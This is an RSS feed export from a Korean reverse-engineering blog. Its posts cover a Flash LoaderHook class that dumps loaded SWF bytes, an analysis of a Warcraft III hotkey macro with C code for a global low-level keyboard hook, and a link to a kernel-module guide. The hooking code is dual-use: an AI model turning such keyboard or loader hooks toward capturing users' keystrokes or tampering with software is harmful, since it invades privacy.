<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" version="2.0">
	<channel>
		<title>I wannabe FALCON</title>
		<link>http://hisjournal.net/blog/</link>
		<description />
		<language>ko</language>
		<pubDate>Wed, 15 May 2013 10:53:41 +0900</pubDate>
		<generator>Textcube 1.8.6 : Accelerando</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/6l4ck3y3" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="6l4ck3y3" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/2.0/</creativeCommons:license><image><link>http://creativecommons.org/licenses/by-nc-sa/2.0/</link><url>http://creativecommons.org/images/public/somerights20.gif</url><title>Some Rights Reserved</title></image><item>
			<title>Writing LoaderHook.as with ActionScript 3.0 for hooking the loader</title>
			<link>http://hisjournal.net/blog/377</link>
			<description>2012년 코드게이트에서 오정욱(&lt;a href="http://twitter.com/ohjeongwook/"  target="_blank"&gt;@ohjeongwook&lt;/a&gt;) 님의 &lt;sup style="font-family:tahoma;"&gt;&lt;a href="http://hisjournal.net/blog/377#footnote_377_1" id="footnote_link_377_1"&gt;1&lt;/a&gt;&lt;/sup&gt;"AVM Inception" 발표를 듣고 깔짝깔짝 만들었던 LoaderHook 클래스입니다. 내용은 별 거 없구요. Flash 에서 Loader 가 호출되면, 로드되는 데이터(swf나 이미지 등등)를 덤프 뜨는 훅 클래스입니다. &lt;br&gt;&lt;br&gt;당연히 그냥은 사용 못하고, DoABC 태그를 삽입하고, AVM의 참조테이블을 수정해야 훅이 걸립니다.&lt;br&gt;&lt;br&gt;&lt;h3&gt;LoaderHook.as&lt;/h3&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;package {&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;import flash.display.Loader;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;import flash.system.LoaderContext;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;import flash.utils.ByteArray;&lt;br&gt;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;public class LoaderHook extends Loader &lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;{&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;		&lt;/span&gt;public function LoaderHook() : void&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;		&lt;/span&gt;{&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;super();&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;		&lt;/span&gt;}&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;		&lt;/span&gt;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;		&lt;/span&gt;public function loadbytes( bytes:ByteArray, context:LoaderContext = null ) : void&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;		&lt;/span&gt;{&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;function toHex( decimal:uint, padding:int = 2 ) : String&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;{&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;var hex:String = Number( decimal ).toString( 16 );&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;while( hex.length &amp;lt; padding )&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;{&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;					&lt;/span&gt;hex = "0" + hex;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;}&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;return hex.toUpperCase();&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;}&lt;br&gt;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;var now:Date = new Date();&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;trace( "[+] start to dump on loadbytes" );&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;trace( "[+] " + now.toLocaleString() );&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;trace( "-----------------------------------------------" );&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;var hexadecimalDump:String = "";&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;bytes.position = 0;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;while( bytes.position &amp;lt; bytes.length )&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;{&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;hexadecimalDump += toHex( bytes.readUnsignedByte() );&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;hexadecimalDump += " ";&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;if( bytes.position % 16 == 0 )&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;{&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;					&lt;/span&gt;trace( hexadecimalDump );&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;					&lt;/span&gt;hexadecimalDump = "";&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;				&lt;/span&gt;}&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;}&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;trace( hexadecimalDump );&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;trace( "-----------------------------------------------" );&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;trace( "[+] completed" );&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;			&lt;/span&gt;super.loadBytes( bytes, context );&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;		&lt;/span&gt;}&lt;br&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;}&lt;br&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;&lt;h3&gt;mm.cfg 세팅&lt;/h3&gt;&lt;br&gt;ActionScript 언어가 java 랑 유사해서 특별히 어려운 건 없었는데, 2.0 과 3.0 이 하늘과 땅 차이라서 덤프 뜨는 방법을 찾는 데 조금 헤매었네요. 3.0 에서는 &lt;sup style="font-family:tahoma;"&gt;&lt;a href="#footnote_377_2" id="footnote_link_377_2"&gt;2&lt;/a&gt;&lt;/sup&gt;mm.cfg 를 세팅하면 trace 메소드의 결과가 파일로 저장됩니다. &lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;TraceOutPutFileName=C:\Users\(username)\AppData\Roaming\Macromedia\Flash Player\Logs\flashlog.txt&lt;br&gt;ErrorReportingEnable=1&lt;br&gt;TraceOutputFileEnable=1&lt;br&gt;MaxWarnings=100&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;fieldset style="margin:20px 0px 20px 0px;padding:5px;"&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이센스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style="float: left; width: 88px; margin-top: 3px;"&gt;&lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;&lt;img alt="Creative Commons License" style="border-width: 0" src="http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-left: 92px; margin-top: 3px; text-align: justify;"&gt;이 저작물은 &lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
			&lt;Work rdf:about=""&gt;
			&lt;license rdf:resource="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about="http://creativecommons.org/licenses/by-nc-sa/"&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Reproduction"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Distribution"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Notice"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Attribution"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/DerivativeWorks"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/ShareAlike"/&gt;&lt;prohibits rdf:resource="http://web.resource.org/cc/CommercialUse"/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;&lt;div class=footnotes&gt;주석.&lt;div class=footnotes_in&gt;&lt;ol class=footnotes&gt;&lt;li id="footnote_377_1"&gt;&lt;a href="http://t.co/sJv4StqM"  target="_blank"&gt;AVM Inception How we can use AVM instrumenting in a beneficial way&lt;/a&gt; &lt;a href="#footnote_link_377_1"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;li id="footnote_377_2"&gt;&lt;a href="http://blog.flexexamples.com/2007/08/26/debugging-flex-applications-with-mmcfg-and-flashlogtxt/"  target="_blank"&gt;Debugging Flex applications with mm.cfg and flashlog.txt&lt;/a&gt; &lt;a href="#footnote_link_377_2"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="http://hisjournal.net/blog/377?commentInput=true#entry377WriteComment"&gt;댓글 쓰기&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<category>0x06 Other RCE</category>
			<category>ActionScript 3.0</category>
			<category>Flash</category>
			<category>Hook</category>
			<category>swf</category>
			<author>6l4ck3y3@gmail.com (6l4ck3y3)</author>
			<guid>http://hisjournal.net/blog/377</guid>
			<comments>http://hisjournal.net/blog/377#entry377comment</comments>
			<pubDate>Sun, 05 Aug 2012 15:25:36 +0900</pubDate>
		</item>
		<item>
			<title>게임 매크로 Inventory A+ 분석</title>
			<link>http://hisjournal.net/blog/376</link>
			<description>&lt;h3&gt;1. 기능 소개&lt;/h3&gt;&lt;br&gt;&lt;p&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/9992068883.png" alt="사용자 삽입 이미지" height="351" width="605" /&gt;&lt;/div&gt;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;em&gt;[그림 1] Warcraft III 에서의 인벤토리&lt;/em&gt;&lt;/p&gt;&lt;br&gt;&lt;p&gt;Inventory A+는 Blizzard 사의 Warcraft III 의 인벤토리 단축키를 변경하는 매크로입니다. 원래 인벤토리의 아이템을 사용하기 위한 단축키는 숫자패드의 7, 8, 4, 5, 1, 2 이지만, Inventory A+ 를 실행하면 인벤토리 단축키가 [그림 2]와 같이 변경됩니다. 실제로 이 매크로는 DotA 용으로 제작된 것입니다.&lt;/p&gt;&lt;br&gt;&lt;p&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/4298163089.png" alt="사용자 삽입 이미지" height="131" width="115" /&gt;&lt;/div&gt;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;em&gt;[그림 2] Inventory A+ 실행 후&lt;/em&gt;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;em&gt;&amp;nbsp;&lt;br&gt;&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;2. 분석&lt;/h3&gt;&lt;p&gt;Inventory A+는 AutoHotKey 기반으로 제작되었습니다. 프로그램 내에 AutoHotKey 의 문자열들과 실행되지 않는 코드의 흔적들이 남아 있지요. 그리고 메뉴, 뮤텍스, 윈도우의 이름도 AutoHotKey 의 것들을 그대로 사용하고 있습니다.&lt;/p&gt;&lt;h5&gt;&amp;nbsp;&lt;br&gt;&lt;/h5&gt;&lt;h4&gt;2.1. Warcraft III: Frozen Throne 설치 확인 (_GetInstallPath)&lt;/h4&gt;&lt;br&gt;&lt;p style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/3514416892.png" alt="사용자 삽입 이미지" height="220" width="605" /&gt;&lt;/div&gt;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;em&gt;[그림 3] 레지스트리에서 Frozen Throne 의 설치 경로를 읽는다&lt;/em&gt;&lt;/p&gt;&lt;br&gt;&lt;p&gt;Inventory A+ 는 Warcraft III: Frozen Throne 의 설치 경로를 다음의 레지스트리에서 읽어서 확인합니다.&lt;/p&gt;&lt;br&gt;&lt;p&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;Key = “HKEY_CURRENT_USER\Software\Blizzard Entertainment\Warcraft III”&lt;br&gt;SubKey = “ProgramX”&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;&lt;br&gt;&lt;p&gt;그리고 Frozen Throne 의 실행 파일에서 아이콘을 Inventory A+ 자신의 아이콘으로 사용합니다.&lt;/p&gt;&lt;br&gt;&lt;p style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/8421270033.png" alt="사용자 삽입 이미지" height="112" width="456" /&gt;&lt;/div&gt;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;em&gt;[그림 4] Inventory A+의 아이콘&lt;/em&gt;&lt;/p&gt;&amp;nbsp;&lt;br&gt;&lt;h4&gt;2.2. 후킹 프로시저 설치 (_InstallHookProc)&lt;/h4&gt;&amp;nbsp;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1219223011.png" alt="사용자 삽입 이미지" height="114" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림 5] 키보드 후킹 프로시저 설치&lt;/em&gt;&lt;/div&gt;&amp;nbsp;&lt;br&gt;Inventory A+ 는 후킹 프로시저를 설치하는 스레드를 생성합니다. 스레드 함수에서는 [그림 5]와 같이 SetWindowsHookEx API 를 호출합니다. 인자로는 WH_KEYBOARD_LL 와 후킹 프로시저의 주소가 쓰이고, 전역적으로 후킹하기 위해서 스레드 ID 에 0 을 넣습니다. &lt;br&gt;&amp;nbsp;&lt;br&gt;WH_KEYBOARD_LL 은 저수준의 키보드 입력 내용을 모니터링하기 위한 식별값입니다. 후킹 프로시저의 형태는 다음과 같습니다.&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;_HotKeyHookProc (int code, WPARAM wParam, LPARAM, lParam);&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;WH_KEYBOARD_LL 후킹에서 wParam 은 키보드 메시지의 식별자입니다. WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, WM_SYSKEYUP 등이 wParam 의 값들입니다..&lt;br&gt;&amp;nbsp;&lt;br&gt;그리고 lParam 은 KBDLLHOOKSTRUCT 구조체의 포인터이며, 구조는 다음과 같습니다.&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;typedef struct tagKBDLLHOOKSTRUCT {&lt;br&gt;DWORD vkCode;&lt;br&gt;DWORD scanCode;&lt;br&gt;DWORD flags;&lt;br&gt;DWORD time;&lt;br&gt;ULONG_PTR dwExtraInfo;&lt;br&gt;} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT;&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;vkCode 가 메시지를 발생시킨 가상 키 코드이고, flags 값으로 ALT 키가 같이 눌러졌는지 알 수 있습니다. ALT 키가 같이 눌려졌으면 flags 의 값은 LLKHF_ALTDOWN 입니다.&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;h4&gt;2.3. 키보드 후킹 프로시저 (_HotKeyHookProc)&lt;/h4&gt;&lt;p&gt;키보드 메시지가 발생할 때마다 _HotKeyHookProc 함수가 전역적으로 호출됩니다.&lt;/p&gt;&lt;br&gt;&lt;p style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/6827035101.png" alt="사용자 삽입 이미지" height="304" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림 6] 키보드 이벤트가 KEYUP 인지 KEYDOWN 인지 검사한다&lt;/em&gt;&lt;/p&gt;&amp;nbsp; &lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1547501678.png" alt="사용자 삽입 이미지" height="334" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림 7] 키보드 후킹 프로시저&lt;/em&gt;&lt;/div&gt;&amp;nbsp;&lt;br&gt;[그림 6]처럼 wParam 을 검사하여서 키가 눌러진 것이라면 플래그를 설정하고 _HookHotKey 함수를 호출합니다. _HookHotKey 함수 안에서 k-&amp;gt;vkCode 가 'Q', 'W', 'A', 'S', 'Z', 'X' 중의 하나인지, k-&amp;gt;flags 의 LLKHF_ALTDOWN 비트가 세팅되었는지를 검사하는 것 같은데, 정확한 루틴이 어디 있는지는 찾지 못 했습니다.&lt;br&gt;&amp;nbsp;&lt;br&gt;원하는 키가 아니라면, CallNextHookEx API 를 호출한 후 리턴하여서 다음 훅으로 넘깁니다.&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/3424861340.png" alt="사용자 삽입 이미지" height="83" width="605" /&gt;&lt;/div&gt;&lt;em&gt; [그림 8] ALT+q 에 대하여 NUMPAD7 의 KEYDOWN 이벤트 발생&lt;/em&gt;&lt;/div&gt;&amp;nbsp;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/5469299481.png" alt="사용자 삽입 이미지" height="80" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림 9] ALT+q 에 대하여 NUMPAD7 의 KEYUP 이벤트 발생&lt;/em&gt;&lt;/div&gt;&amp;nbsp;&lt;br&gt;입력된 키가 ALT+q, ALT+w, ALT+a ALT+s, ALT+z, ALT+x 중의 하나라면, keybd_event API 를 KEYDOWN 인자로 호출하고 KEYUP 인자로 다시 호출합니다. 이렇게 하면 맵핑되는 숫자패드의 키에 대한 이벤트가 발생됩니다. keybd_event API 의 세 번째 인자가 0 이면 KEYDOWN 이벤트입니다. 그리고 0 이 아닌 정수를 리턴하여 키 입력을 무시합니다.&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;h3&gt;3. POC 코드&lt;/h3&gt;&lt;br&gt;&lt;p&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&lt;br&gt;&lt;br&gt;LRESULT CALLBACK&lt;br&gt;HotKeyHookProc (int code, WPARAM wParam, LPARAM lParam)&lt;br&gt;{&lt;br&gt;    if (code &amp;gt;= 0)&lt;br&gt;    {&lt;br&gt;        UINT hotkey = 0;&lt;br&gt;        PKBDLLHOOKSTRUCT k = (PKBDLLHOOKSTRUCT)lParam;&lt;br&gt;&lt;br&gt;        BOOL f_AltDown = (LLKHF_ALTDOWN &amp;amp; k-&amp;gt;flags) ? TRUE : FALSE;&lt;br&gt;&lt;br&gt;        switch (k-&amp;gt;vkCode)&lt;br&gt;        {&lt;br&gt;            case 'Q':&lt;br&gt;                hotkey = VK_NUMPAD7;&lt;br&gt;                break;&lt;br&gt;            case 'W':&lt;br&gt;                hotkey = VK_NUMPAD8;&lt;br&gt;                break;&lt;br&gt;            case 'A':&lt;br&gt;                hotkey = VK_NUMPAD4;&lt;br&gt;                break;&lt;br&gt;            case 'S':&lt;br&gt;                hotkey = VK_NUMPAD5;&lt;br&gt;                break;&lt;br&gt;            case 'Z':&lt;br&gt;                hotkey = VK_NUMPAD1;&lt;br&gt;                break;&lt;br&gt;            case 'X':&lt;br&gt;                hotkey = VK_NUMPAD2;&lt;br&gt;                break;&lt;br&gt;            default:&lt;br&gt;                break;&lt;br&gt;        }&lt;br&gt;&lt;br&gt;        if ((hotkey != 0) &amp;amp;&amp;amp; (f_AltDown == TRUE))&lt;br&gt;        {&lt;br&gt;            Sleep (1000);&lt;br&gt;            keybd_event (hotkey, MapVirtualKey (hotkey, 0), 0, 0);&lt;br&gt;            Sleep (100);&lt;br&gt;            keybd_event (hotkey, MapVirtualKey (hotkey, 0), KEYEVENTF_KEYUP, 0);&lt;br&gt;            return 1;&lt;br&gt;        }&lt;br&gt;    }&lt;br&gt;&lt;br&gt;    return CallNextHookEx (NULL, code, wParam, lParam);&lt;br&gt;}&lt;br&gt;&lt;br&gt;int WINAPI&lt;br&gt;WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)&lt;br&gt;{&lt;br&gt;    HHOOK hhk = SetWindowsHookEx (WH_KEYBOARD_LL, HotKeyHookProc, hInstance, 0);&lt;br&gt;&lt;br&gt;    MessageBoxA (NULL, "Click \"Ok\" to terminate this hooking", "HotKeyHook", MB_OK);&lt;br&gt;&lt;br&gt;    UnhookWindowsHookEx (hhk);&lt;br&gt;    return (0);&lt;br&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;&lt;fieldset style="margin:20px 0px 20px 0px;padding:5px;"&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이센스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style="float: left; width: 88px; margin-top: 3px;"&gt;&lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;&lt;img alt="Creative Commons License" style="border-width: 0" src="http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-left: 92px; margin-top: 3px; text-align: justify;"&gt;이 저작물은 &lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
			&lt;Work rdf:about=""&gt;
			&lt;license rdf:resource="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about="http://creativecommons.org/licenses/by-nc-sa/"&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Reproduction"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Distribution"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Notice"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Attribution"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/DerivativeWorks"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/ShareAlike"/&gt;&lt;prohibits rdf:resource="http://web.resource.org/cc/CommercialUse"/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="http://hisjournal.net/blog/376?commentInput=true#entry376WriteComment"&gt;댓글 쓰기&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<category>0x02 Windows RCE</category>
			<category>Macro</category>
			<category>SetWindowsHookEx</category>
			<category>WH_KEYBOARD_LL</category>
			<category>매크로</category>
			<category>후킹</category>
			<author>6l4ck3y3@gmail.com (6l4ck3y3)</author>
			<guid>http://hisjournal.net/blog/376</guid>
			<comments>http://hisjournal.net/blog/376#entry376comment</comments>
			<pubDate>Wed, 15 Feb 2012 21:17:25 +0900</pubDate>
		</item>
		<item>
			<title>The Linux Kernel Module Programming Guide v2.6</title>
			<link>http://hisjournal.net/blog/375</link>
			<description>&lt;a href="http://hisjournal.net/blog/notice/265"  target="_blank"&gt;Articles&lt;/a&gt;에 문서를 업데이트 했습니다.&lt;br&gt;&lt;br&gt;CERT-IS의 남윤민 군의 번역문서입니다.&lt;br&gt;&lt;br&gt;task_struct 구조가 변경되기 전의 Linux Kernel 2.6 버전에서 커널 모듈을 어떻게 작성하는 지를 설명한 기초 문서입니다.&lt;br&gt;&lt;br&gt;아래의 링크는 이 문서의 원본과 KLDP에 있는 2.4 버전의 번역 문서입니다.&lt;br&gt;&lt;br&gt;&lt;ul&gt;&lt;li&gt;&lt;a target="" title="The Linux Kernel Module Programming Guide 2.6 (원문)" href="http://tldp.org/LDP/lkmpg/2.6/html/lkmpg.html"&gt;The Linux Kernel Module Programming Guide 2.6 (원문)&lt;/a&gt;
&lt;/li&gt;&lt;li&gt;&lt;a title="The Linux Kernel Module Programming Guide 2.4 (번역/KLDP)" href="http://wiki.kldp.org/wiki.php/KernelModuleProgrammingGuide"&gt;The Linux Kernel Module Programming Guide 2.4 (번역/KLDP)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br&gt;&lt;fieldset style="margin:20px 0px 20px 0px;padding:5px;"&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이센스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style="float: left; width: 88px; margin-top: 3px;"&gt;&lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;&lt;img alt="Creative Commons License" style="border-width: 0" src="http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-left: 92px; margin-top: 3px; text-align: justify;"&gt;이 저작물은 &lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
			&lt;Work rdf:about=""&gt;
			&lt;license rdf:resource="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about="http://creativecommons.org/licenses/by-nc-sa/"&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Reproduction"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Distribution"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Notice"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Attribution"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/DerivativeWorks"/&gt;
